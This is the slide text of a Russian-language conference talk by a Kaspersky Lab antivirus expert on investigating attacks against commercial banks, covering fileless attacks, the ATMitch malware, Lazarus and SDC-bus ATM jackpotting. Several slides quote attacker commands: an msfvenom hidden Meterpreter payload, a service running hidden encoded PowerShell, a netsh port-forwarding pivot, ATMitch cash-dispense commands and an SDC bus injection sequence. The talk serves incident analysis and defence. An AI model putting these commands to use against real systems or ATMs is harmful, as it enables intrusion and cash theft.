Сергей Голованов, Лаборатория Касперского

1. Опыт расследования инцидентов в
коммерческих банках
Сергей @k1k_ Голованов
Ведущий антивирусный эксперт
Лаборатория Касперского
Чем воспользовались злоумышленники
для развития атак?

2. Рабочее место

4. Содержание
«Безфайловые» атаки
SDC
ATMitch Lazarus

5. «Безфайловые» атаки

7. msfvenom -p
windows/meterpreter/bind_hidden_tcp
AHOST=10.10.1.11 -f psh-cmd
sc target_name create ATITscUA binpath=
“C:Windowssystem32cmd.exe /b /c start /b /min
powershell.exe -nop -w hidden e
aQBmACgAWwBJAG4AdABQAHQA…” start=
manual

8. netsh interface portproxy add
v4tov4 listenport=4444
connectaddress=10.10.1.12
connectport=8080
listenaddress=0.0.0.0

10. ATMitch

11. Запрос из банка
1. Банкомат без денег
2. Вредоносных программ нет
3. Журналы пустые
4. C:WindowsTempKL.txt
5. Как Лаборатория Касперского в
этом замешена?

12. Дата
Фотография файла KL.TXT

13. Что было сделано:
1. YARA правило для VirusTotal.com
2. Ожидание…

15. ВПО в действии
ECHO O – открыть диспенсер
ECHO I – инициализация
ECHO D 6 1 –
выдать 1у купюру
из 6й кассеты
Запуск через RUNDLL
CATCH SOME MONEY...

16. Lazarus

22. SDC

23. 1.Человек в спецовке сверлил банкомат у
отделения банка в рабочее время
2.Он был замечен нарядом полиции
3.Во время проверки документов он начал
убегать
4.Он разбрасывал кабели и ломал ноутбук
5.После задержания он не сказал ни слова
Запрос из банка

25. Source: http://answerpro.ru/services/hardware-development/cerber-ndc-lock/#services
Дыра

26. Source: http://answerpro.ru/services/hardware-development/cerber-ndc-lock/#services
Кабели…

27. https://twitter.com/Europol/status/865180539371888641
Другие случаи в Европе

28. Главные вопрос…
ЗАЧЕМ?!!

29. SDC Bus

30. Проблемы…
1. RS485
2. 9-бит
3. Скорость
4. Шифр
5. Протокол
Ну вы же справитесь…

31. Новое рабочее место

32. Определение скорости шины

33. Логический анализатор

34. Содержимое SDC-шины

35. Каждое устройство имеет адрес
Коды на выдачу спрятаны в уравнении

36. 0x0C0 Ожидание большого запроса и быстрый захват шины
0x0C1 0x001 0x0AA ПАУЗА 0x189 0x0F7 ДАЙ ДЕНЕГ!!!
Внедрение команд

37. Разработка

38. Командная работа

39. Тестирование…

46. Атакующий подключается к любому устройству
ВКЛ
Ожидание большого
запроса…
!!!ВНЕДРЕНИЕ!!!
ТРТРТРТРРТРРТРРРТ
!!!!ПРОФИТ!!))))

47. Содержание
«Безфайловые» атаки
SDC
ATMitch Lazarus

49. СПАСИБО!
Сергей @k1k_ Голованов
Ведущий антивирусный эксперт
Лаборатория Касперского